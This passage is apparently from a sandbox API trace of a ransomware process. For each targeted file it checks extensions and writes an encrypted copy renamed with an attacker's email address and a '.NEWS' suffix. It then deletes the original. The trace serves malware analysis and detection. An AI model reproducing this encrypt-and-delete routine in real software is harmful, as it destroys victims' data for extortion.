Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0231.701] lstrlenW (lpString=".doc") returned 4 [0231.701] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0231.701] lstrlenW (lpString=".docx") returned 5 [0231.701] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0231.701] lstrlenW (lpString=".pdf") returned 4 [0231.701] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0231.701] lstrlenW (lpString=".xls") returned 4 [0231.701] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0231.701] lstrlenW (lpString=".xlsx") returned 5 [0231.701] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0231.701] lstrlenW (lpString=".ppt") returned 4 [0231.701] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0231.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0231.702] lstrlenW (lpString=".zip") returned 4 [0231.702] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0231.702] lstrlenW (lpString=".rar") returned 4 [0231.702] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0231.702] lstrlenW (lpString=".bz2") returned 4 [0231.702] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0231.702] lstrlenW (lpString=".7z") returned 3 [0231.702] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0231.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0231.703] lstrlenW (lpString=".dbf") returned 4 [0231.703] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0231.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0231.703] lstrlenW (lpString=".1cd") returned 4 [0231.703] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0231.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0231.703] lstrlenW (lpString=".jpg") returned 4 [0231.703] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0231.704] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0231.704] lstrlenW (lpString="AG00163_.GIF") returned 12 [0231.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0231.728] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=6984) returned 1 [0231.728] CloseHandle (hObject=0x35c) returned 1 [0231.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 0x20 [0231.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0231.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0231.815] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.816] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0231.817] GetLastError () returned 0x0 [0231.817] ReadFile (in: hFile=0x3a0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x1b48, lpOverlapped=0x0) returned 1 [0231.830] WriteFile (in: hFile=0x388, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x1b50, lpOverlapped=0x0) returned 1 [0231.834] ReadFile (in: hFile=0x3a0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0231.834] WriteFile (in: hFile=0x388, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0231.834] SetEndOfFile (hFile=0x388) returned 1 [0231.836] CloseHandle (hObject=0x388) returned 1 [0231.837] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.837] SetEndOfFile (hFile=0x3a0) returned 1 [0231.856] CloseHandle (hObject=0x3a0) returned 1 [0231.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0231.911] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0231.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0231.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0231.911] lstrlenW (lpString=".doc") returned 4 [0231.912] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0231.912] lstrlenW (lpString=".docx") returned 5 [0231.912] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0231.912] lstrlenW (lpString=".pdf") returned 4 [0231.912] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0231.912] lstrlenW (lpString=".xls") returned 4 [0231.912] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0231.912] lstrlenW (lpString=".xlsx") returned 5 [0231.912] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0231.912] lstrlenW (lpString=".ppt") returned 4 [0231.912] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0231.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0231.913] lstrlenW (lpString=".zip") returned 4 [0231.913] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0231.913] lstrlenW (lpString=".rar") returned 4 [0231.913] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0231.913] lstrlenW (lpString=".bz2") returned 4 [0231.913] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0231.913] lstrlenW (lpString=".7z") returned 3 [0231.913] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0231.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0231.913] lstrlenW (lpString=".dbf") returned 4 [0231.913] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0231.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0231.913] lstrlenW (lpString=".1cd") returned 4 [0231.914] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0231.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0231.914] lstrlenW (lpString=".jpg") returned 4 [0231.914] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0231.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0231.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0231.914] lstrlenW (lpString=".doc") returned 4 [0231.914] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0231.914] lstrlenW (lpString=".docx") returned 5 [0231.914] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0231.914] lstrlenW (lpString=".pdf") returned 4 [0231.914] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0231.915] lstrlenW (lpString=".xls") returned 4 [0231.915] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0231.915] lstrlenW (lpString=".xlsx") returned 5 [0231.915] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0231.915] lstrlenW (lpString=".ppt") returned 4 [0231.915] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0231.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0231.915] lstrlenW (lpString=".zip") returned 4 [0231.915] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0231.915] lstrlenW (lpString=".rar") returned 4 [0231.915] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0231.915] lstrlenW (lpString=".bz2") returned 4 [0231.915] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0231.915] lstrlenW (lpString=".7z") returned 3 [0231.916] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0231.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0231.916] lstrlenW (lpString=".dbf") returned 4 [0231.916] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0231.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0231.916] lstrlenW (lpString=".1cd") returned 4 [0231.916] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0231.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 63 [0231.916] lstrlenW (lpString=".jpg") returned 4 [0231.916] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0231.917] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0231.917] lstrlenW (lpString="AG00167_.GIF") returned 12 [0231.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0232.270] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=4894) returned 1 [0232.270] CloseHandle (hObject=0x324) returned 1 [0232.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 0x20 [0232.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0232.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0232.528] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.528] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0232.534] GetLastError () returned 0x0 [0232.534] ReadFile (in: hFile=0x370, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x131e, lpOverlapped=0x0) returned 1 [0232.545] WriteFile (in: hFile=0x338, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x1320, lpOverlapped=0x0) returned 1 [0232.548] ReadFile (in: hFile=0x370, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0232.548] WriteFile (in: hFile=0x338, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0232.549] SetEndOfFile (hFile=0x338) returned 1 [0232.549] CloseHandle (hObject=0x338) returned 1 [0232.549] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.550] SetEndOfFile (hFile=0x370) returned 1 [0232.561] CloseHandle (hObject=0x370) returned 1 [0232.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0232.690] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0232.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0232.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0232.693] lstrlenW (lpString=".doc") returned 4 [0232.693] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0232.693] lstrlenW (lpString=".docx") returned 5 [0232.693] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0232.693] lstrlenW (lpString=".pdf") returned 4 [0232.694] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0232.694] lstrlenW (lpString=".xls") returned 4 [0232.694] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0232.694] lstrlenW (lpString=".xlsx") returned 5 [0232.694] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0232.694] lstrlenW (lpString=".ppt") returned 4 [0232.694] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0232.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0232.694] lstrlenW (lpString=".zip") returned 4 [0232.694] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0232.694] lstrlenW (lpString=".rar") returned 4 [0232.694] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0232.694] lstrlenW (lpString=".bz2") returned 4 [0232.695] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0232.695] lstrlenW (lpString=".7z") returned 3 [0232.695] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0232.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0232.695] lstrlenW (lpString=".dbf") returned 4 [0232.695] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0232.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0232.695] lstrlenW (lpString=".1cd") returned 4 [0232.695] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0232.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0232.695] lstrlenW (lpString=".jpg") returned 4 [0232.695] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0232.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0232.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0232.696] lstrlenW (lpString=".doc") returned 4 [0232.696] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0232.696] lstrlenW (lpString=".docx") returned 5 [0232.696] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0232.696] lstrlenW (lpString=".pdf") returned 4 [0232.696] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0232.696] lstrlenW (lpString=".xls") returned 4 [0232.696] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0232.696] lstrlenW (lpString=".xlsx") returned 5 [0232.696] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0232.697] lstrlenW (lpString=".ppt") returned 4 [0232.697] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0232.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0232.697] lstrlenW (lpString=".zip") returned 4 [0232.697] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0232.697] lstrlenW (lpString=".rar") returned 4 [0232.697] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0232.697] lstrlenW (lpString=".bz2") returned 4 [0232.697] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0232.697] lstrlenW (lpString=".7z") returned 3 [0232.697] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0232.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0232.698] lstrlenW (lpString=".dbf") returned 4 [0232.698] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0232.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0232.698] lstrlenW (lpString=".1cd") returned 4 [0232.698] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0232.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0232.699] lstrlenW (lpString=".jpg") returned 4 [0232.699] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0232.699] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0232.699] lstrlenW (lpString="AG00174_.GIF") returned 12 [0232.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0232.721] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=3966) returned 1 [0232.721] CloseHandle (hObject=0x35c) returned 1 [0232.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 0x20 [0232.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0232.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0233.050] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.050] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0233.051] GetLastError () returned 0x0 [0233.051] ReadFile (in: hFile=0x3c0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0xf7e, lpOverlapped=0x0) returned 1 [0233.057] WriteFile (in: hFile=0x3a0, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xf80, lpOverlapped=0x0) returned 1 [0233.060] ReadFile (in: hFile=0x3c0, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0233.060] WriteFile (in: hFile=0x3a0, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.060] SetEndOfFile (hFile=0x3a0) returned 1 [0233.061] CloseHandle (hObject=0x3a0) returned 1 [0233.061] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.062] SetEndOfFile (hFile=0x3c0) returned 1 [0233.070] CloseHandle (hObject=0x3c0) returned 1 [0233.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0233.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0233.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0233.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0233.072] lstrlenW (lpString=".doc") returned 4 [0233.072] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0233.073] lstrlenW (lpString=".docx") returned 5 [0233.073] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0233.073] lstrlenW (lpString=".pdf") returned 4 [0233.073] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0233.073] lstrlenW (lpString=".xls") returned 4 [0233.073] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0233.073] lstrlenW (lpString=".xlsx") returned 5 [0233.073] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0233.073] lstrlenW (lpString=".ppt") returned 4 [0233.073] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0233.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0233.073] lstrlenW (lpString=".zip") returned 4 [0233.074] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0233.074] lstrlenW (lpString=".rar") returned 4 [0233.074] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0233.074] lstrlenW (lpString=".bz2") returned 4 [0233.074] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0233.074] lstrlenW (lpString=".7z") returned 3 [0233.074] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0233.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0233.074] lstrlenW (lpString=".dbf") returned 4 [0233.074] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0233.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0233.074] lstrlenW (lpString=".1cd") returned 4 [0233.074] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0233.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0233.075] lstrlenW (lpString=".jpg") returned 4 [0233.075] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0233.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0233.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0233.075] lstrlenW (lpString=".doc") returned 4 [0233.075] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0233.075] lstrlenW (lpString=".docx") returned 5 [0233.075] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0233.075] lstrlenW (lpString=".pdf") returned 4 [0233.076] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0233.076] lstrlenW (lpString=".xls") returned 4 [0233.076] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0233.076] lstrlenW (lpString=".xlsx") returned 5 [0233.076] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0233.076] lstrlenW (lpString=".ppt") returned 4 [0233.076] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") 